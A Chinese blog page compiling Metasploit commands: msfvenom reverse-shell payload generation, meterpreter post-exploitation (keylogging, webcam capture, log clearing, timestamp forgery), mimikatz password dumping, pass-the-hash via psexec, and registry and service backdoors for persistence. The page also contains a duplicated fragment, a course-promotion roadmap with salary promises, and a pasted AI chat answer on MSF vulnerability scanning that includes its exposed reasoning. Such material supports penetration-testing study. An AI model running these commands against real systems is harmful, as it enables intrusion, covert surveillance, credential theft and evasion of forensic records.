MSF命令大全详解

MSF命令大全详解

img

1|00x00 Payload生成

1|1Windows·Linux

Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径/文件名 
Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路径/文件名

1|2Web

PHP: msfvenom -p php/meterpreter_reverse_tcp lhost=[你的IP] lport=[端口] -f raw > 保存路径/文件名.php

ASP: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口]-f asp > 保存路径/文件名.asp

JSP:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f raw > 保存路径/文件名.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f war > 保存路径/文件名.war

1|3Android

Android: msfvenom -p android/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -o 保存路径/文件名.apk

2|00x01 msfvenom命令参数:

1 Options:

2 -p, --payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用’-'或者stdin指定

3 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

4 -n, --nopsled 为payload预先指定一个NOP滑动长度

5 -f, --format 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)

6 -e, --encoder [encoder] 指定需要使用的encoder(编码器)

7 -a, --arch 指定payload的目标架构

8 --platform 指定payload的目标平台

9 -s, --space 设定有效攻击荷载的最大长度

10 -b, --bad-chars 设定规避字符集,比如: ‘\x00\xff’

11 -i, --iterations 指定payload的编码次数

12 -c, --add-code 指定一个附加的win32 shellcode文件

13 -x, --template 指定一个自定义的可执行文件作为模板

14 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行

15 --payload-options 列举payload的标准选项

16 -o, --out 保存payload

17 -v, --var-name 指定一个自定义的变量,以确定输出格式

18 --shellest 最小化生成payload

19 -h, --help 查看帮助选项

20 --help-formats 查看msf支持的输出格式列表

3|00x02 常用系统命令

sessions #sessions –h 查看帮助

sessions -i <ID值> #进入会话 -k 杀死会话

background #将当前会话放置后台

run #执行已有的模块,输入run后按两下tab,列出已有的脚本

info #查看已有模块信息

getuid # 查看权限

getpid # 获取当前进程的pid

sysinfo # 查看目标机系统信息

ps # 查看当前活跃进程

kill <PID值> 杀死进程

idletime #查看目标机闲置时间

reboot / shutdown #重启/关机

shell #进入目标机cmd shell

3|1uictl开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标

uictl disable mouse #禁用鼠标

uictl disable keyboard #禁用键盘

3|2webcam摄像头命令

webcam_list #查看摄像头

webcam_snap #通过摄像头拍照

webcam_stream #通过摄像头开启视频

3|3execute执行文件

execute #在目标机中执行文件

execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

3|4migrate进程迁移

getpid # 获取当前进程的pid

ps # 查看当前活跃进程

migrate <pid值> #将Meterpreter会话移植到指定pid值进程中

kill <pid值> #杀死进程

3|5clearev清除日志

clearev #清除windows中的应用程序日志、系统日志、安全日志

4|00x03 文件类命令

4|1基本文件系统命令

getwd 或者pwd # 查看当前工作目录

ls # 查看当前目录下的文件

cd search -f pass # 搜索文件 -h查看帮助

cat c:\lltest\lltestpasswd.txt # 查看文件内容

upload /tmp/hack.txt C:\lltest # 上传文件到目标机上

download c:\lltest\lltestpasswd.txt /tmp/ # 下载文件到本机上

edit c:\1.txt #编辑或创建文件 没有的话,会新建文件

rm C:\lltest\hack.txt mkdir lltest2 #只能在当前目录下创建文件夹

rmdir lltest2 #只能删除当前目录下文件夹

getlwd 或者 lpwd #操作攻击者主机 查看当前目录

lcd /tmp #操作攻击者主机 切换目录

4|2timestomp伪造时间戳

timestomp C:// -h #查看帮助

timestomp -v C://2.txt #查看时间戳

timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

5|00x04 网络类命令

5|1基本网络命令

ipconfig/ifconfig

netstat***–ano***

*arp*

*getproxy #查看代理信息 route #查看路由*

5|2portfwd端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

5|3autoroute添加路由

run autoroute –h #查看帮助

run autoroute -s 192.168.159.0/24 #添加到目标环境网络

run autoroute –p #查看添加的路由

5|4利用arp_scanner、portscan等进行扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 #扫描192.168.1.0/24这个网段

run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389 #检测192.168.1.144是否开启3389端口

5|5Socks4a代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理

msf> use auxiliary/server/socks4a

msf > set srvhost 127.0.0.1

msf > set srvport 1080

msf > run
然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080

最后proxychains 使用Socks4a代理访

6|00x05 信息收集

6|1信息收集的脚本位于:

/usr/share/metasploit-framework/modules/post/windows/gather

/usr/share/metasploit-framework/modules/post/linux/gather

6|2信息收集的脚本较多,仅列几个常用的:

run post/windows/gather/checkvm #是否虚拟机

run post/linux/gather/checkvm #是否虚拟机

run post/windows/gather/forensics/enum_drives #查看分区

run post/windows/gather/enum_applications #获取安装软件信息

run post/windows/gather/dumplinks #获取最近的文件操作

run post/windows/gather/enum_ie #获取IE缓存

run post/windows/gather/enum_chrome #获取Chrome缓存

run post/windows/gather/enum_patches #补丁信息

run post/windows/gather/enum_domain #查找域控

7|00x06 提权

7|1getsystem提权

getsystem

getsystem工作原理:
getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
Windows服务已启动,导致与命名管道建立连接。
该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

7|2bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

use exploit/windows/local/bypassuac

use exploit/windows/local/bypassuac_injection

use windows/local/bypassuac_vbs use windows/local/ask

如使用bypassuac.rb脚本:

msf > use exploit/windows/local/bypassuac

msf > set SESSION 2

msf > run

7|3内核漏洞提权

可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

meterpreter > run post/windows/gather/enum_patches #查看补丁信息

msf > use exploit/windows/local/ms13_053_schlamperei

msf > set SESSION 2

msf > exploit

8|00x07 mimikatz抓取密码

load mimikatz #help mimikatz 查看帮助

wdigest #获取Wdigest密码

mimikatz_command -f samdump::hashes #执行mimikatz原始命令

mimikatz_command -f sekurlsa::searchPasswords

9|00x08 远程桌面&截屏

enumdesktops #查看可用的桌面

getdesktop #获取当前meterpreter 关联的桌面

set_desktop #设置meterpreter关联的桌面 -h查看帮助

screenshot #截屏

use espia #或者使用espia模块截屏 然后输入screengrab

run vnc #使用vnc远程桌面连接

10|00x09 开启rdp&添加用户

10|1getgui命令

run getgui –h #查看帮助

run getgui -e #开启远程桌面

run getgui -u lltest2 -p 123456 #添加用户

run getgui -f 6661 –e #3389端口转发到6661
getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp
getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆

10|2enable_rdp脚本

run post/windows/manage/enable_rdp #开启远程桌面

run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户

run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

11|00x10 键盘记录

keyscan_start #开始键盘记录

keyscan_dump #导出记录数据

keyscan_stop #结束键盘记录

12|00x11 sniffer抓包

use sniffer

sniffer_interfaces #查看网卡

sniffer_start 2 #选择网卡 开始抓包

sniffer_stats 2 #查看状态

sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包

sniffer_stop 2 #停止抓包

13|00x12 注册表操作

reg –h

-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称

enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据

13|1注册表设置nc后门

upload /usr/share/windows-binaries/nc.exe C:\windows\system32 #上传nc

reg enumkey -k HKLM\software\microsoft\windows\currentversion\run #枚举run下的key

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d ‘C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe’ #设置键值

reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc #查看键值

nc -v 192.168.159.144 443 #攻击者连接nc后门

14|00x13 令牌操纵

14|1incognito假冒令牌

use incognito #help incognito 查看帮助

list_tokens -u #查看可用的token

impersonate_token ‘NT AUTHORITY\SYSTEM’ #假冒SYSTEM token 或者impersonate_token

NT\ AUTHORITY\SYSTEM #不加单引号 需使用\

execute -f cmd.exe -i –t # -t 使用假冒的token 执行 或者直接shell

rev2self #返回原始token

14|2steal_token窃取令牌

steal_token <pid值> #从指定进程中窃取token 先ps drop_token #删除窃取的token

15|00x14 哈希利用

15|1获取哈希

run post/windows/gather/smart_hashdump #从SAM导出密码哈希

#需要SYSTEM权限

15|2PSExec哈希传递

通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
前提条件:①开启445端口 smb服务;②开启admin$共享

msf > use exploit/windows/smb/psexec

msf > set payload windows/meterpreter/reverse_tcp

msf > set LHOST 192.168.159.134

msf > set LPORT 443

msf > set RHOST 192.168.159.144

msf >set SMBUser Administrator

msf >set SMBPass aad3b4_04ee:5b5f00_c424c

msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain

msf >exploit

16|00x15 添加后门维权

16|1

metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。

persistence启动项后门

在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

run persistence –h #查看帮助

run persistence -X -i 5 -p 6661 -r 192.168.159.134

#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

连接后门

msf > use exploit/multi/handler

msf > set payload windows/meterpreter/reverse_tcp

msf > set LHOST 192.168.159.134

msf > set LPORT 6661

msf > exploit

16|2metsvc服务后门

在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter

run metsvc –h # 查看帮助 run metsvc –A #自动安装后门

连接后门

msf > use exploit/multi/handler

msf > set payload windows/metsvc_bind_tcp

msf > set RHOST 192.168.159.144

msf > set LPORT 31337

msf > exploit

文章转自网安探索员,侵删

t payload windows/meterpreter/reverse_tcp

msf > set LHOST 192.168.159.134

msf > set LPORT 6661

msf > exploit

16|2metsvc服务后门

在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter

run metsvc –h # 查看帮助 run metsvc –A #自动安装后门

网络安全学习路线&学习资源

在这里插入图片描述

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工
1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

“脚本小子”成长进阶资源领取

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

在这里插入图片描述

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

<think>好的,用户想查找关于使用MSF(Metasploit Framework)扫描域名漏洞的命令。首先,我需要确认用户的需求到底是什么。他们提到的“域名漏洞”可能涉及多个方面,比如DNS相关的漏洞、域控制器漏洞,或者Active Directory中的漏洞。需要进一步明确,但通常MSF中的扫描模块可能集中在特定服务或协议上。 接下来,我应该回忆MSF中常用的扫描模块。例如,auxiliary/scanner/dns/dns_amp可以用于DNS放大攻击的扫描,而auxiliary/scanner/smb/smb_version用于扫描SMB版本,这可能与域控制器的漏洞相关。还有像auxiliary/scanner/ldap/ldap_login这样的模块,用于LDAP服务的登录测试,可能涉及域环境的漏洞。 然后,需要考虑如何指导用户正确使用这些模块。通常步骤是启动MSF,使用对应的模块,设置参数(如RHOSTS、THREADS等),然后执行扫描。例如,对于SMB漏洞,可能会引导用户使用smb_ms17_010模块来检测永恒之蓝漏洞,但用户的问题更偏向于域名的漏洞,所以可能需要调整。 另外,用户提到的引用中有提到Metasploitable2作为靶机,以及使用psexec传递哈希的方法,这可能与域环境中的横向移动有关。不过用户当前的问题是关于扫描命令,所以应集中在扫描模块上。 可能还需要考虑用户是否有足够的权限,扫描时是否需要认证信息,比如在LDAP扫描中可能需要用户名和密码。但如果是初步扫描,可能不需要认证。同时,提醒用户注意合法授权,因为未经授权的扫描是非法的。 最后,生成相关问题时要涵盖漏洞扫描的其他方面,比如不同协议、后渗透步骤或工具比较,帮助用户扩展知识。</think>以下是使用Metasploit Framework(MSF)扫描域名相关漏洞的常用命令和步骤: --- ### **1. 基础扫描流程** **步骤1:启动MSF控制台** ```bash msfconsole ``` **步骤2:选择扫描模块** - 对于**DNS服务漏洞**(如DNS放大攻击检测): ```bash use auxiliary/scanner/dns/dns_amp ``` - 对于**SMB协议漏洞**(如域控制器漏洞): ```bash use auxiliary/scanner/smb/smb_version ``` **步骤3:配置目标参数** ```bash set RHOSTS 目标IP或域名 # 例如:set RHOSTS example.com set THREADS 10 # 设置并发线程数 ``` **步骤4:执行扫描** ```bash run ``` --- ### **2. 域环境漏洞扫描示例** **场景:扫描Active Directory域控制器** ```bash use auxiliary/scanner/smb/smb_ms17_010 # 检测永恒之蓝漏洞 set RHOSTS 192.168.1.100 # 域控制器IP run ``` **输出关键信息:** - 若显示`VULNERABLE`,则存在漏洞[^1]; - 若需后渗透操作,可通过`session -i <ID>`连接Meterpreter会话[^4]。 --- ### **3. 高级域名扫描模块** | 模块类型 | 命令路径 | 用途 | |-------------------------|-----------------------------------|-----------------------------| | **LDAP服务扫描** | `auxiliary/scanner/ldap/ldap_login` | 检测弱密码或LDAP配置漏洞[^3] | | **DNS枚举** | `auxiliary/gather/dns_info` | 收集域名解析记录和服务器信息 | --- ### **注意事项** - 扫描前需获得合法授权,否则可能违反法律[^1]; - 部分模块(如`psexec`)需提供哈希或密码进行横向移动[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值